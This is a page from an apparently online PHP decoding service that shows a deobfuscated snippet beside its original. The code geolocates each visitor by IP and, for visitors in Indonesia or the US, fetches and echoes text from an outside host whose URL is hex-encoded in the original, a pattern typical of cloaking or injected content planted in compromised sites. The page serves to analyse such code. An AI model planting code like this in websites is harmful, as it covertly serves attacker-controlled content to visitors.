Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

function getUserIP() { if (!empty($_SERVER["HTTP_CLIENT_IP"])) { $ip = $_SER..

Decoded Output download

<?  function getUserIP() { 
    if (!empty($_SERVER["HTTP_CLIENT_IP"])) { 
        $ip = $_SERVER["HTTP_CLIENT_IP"]; 
    } elseif (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { 
        $ip = explode(",", $_SERVER["HTTP_X_FORWARDED_FOR"])[0]; 
    } else { 
        $ip = $_SERVER["REMOTE_ADDR"]; 
    } 
    return $ip; 
} 
 
$ip = getUserIP(); 
$api_url = "http://ip-api.com/json/{$ip}"; 
$response = file_get_contents($api_url); 
$data = json_decode($response, true); 
 
if ($data["countryCode"] === "ID" || $data["countryCode"] === "US") { 
    ob_start(); 
     echo file_get_contents("https://bigboil.it.com/cpanel/salina.ro.txt");  // Assuming this file exists and is accessible 
    $output = ob_get_clean(); 
    echo $output; 
    die; 
} ?>

Did this file decode correctly?

Original Code

function getUserIP() {
    if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
        $ip = $_SERVER["HTTP_CLIENT_IP"];
    } elseif (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
        $ip = explode(",", $_SERVER["HTTP_X_FORWARDED_FOR"])[0];
    } else {
        $ip = $_SERVER["REMOTE_ADDR"];
    }
    return $ip;
}

$ip = getUserIP();
$api_url = "http://ip-api.com/json/{$ip}";
$response = file_get_contents($api_url);
$data = json_decode($response, true);

if ($data["countryCode"] === "ID" || $data["countryCode"] === "US") {
    ob_start();
     echo file_get_contents("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x67\x62\x6f\x69\x6c\x2e\x69\x74\x2e\x63\x6f\x6d\x2f\x63\x70\x61\x6e\x65\x6c\x2f\x73\x61\x6c\x69\x6e\x61\x2e\x72\x6f\x2e\x74\x78\x74");  // Assuming this file exists and is accessible
    $output = ob_get_clean();
    echo $output;
    die;
}

Function Calls

None

Variables

None

Stats

MD5 6bd058bbc051e174983e8ecfd9e1c240
Eval Count 0
Decode Time 50 ms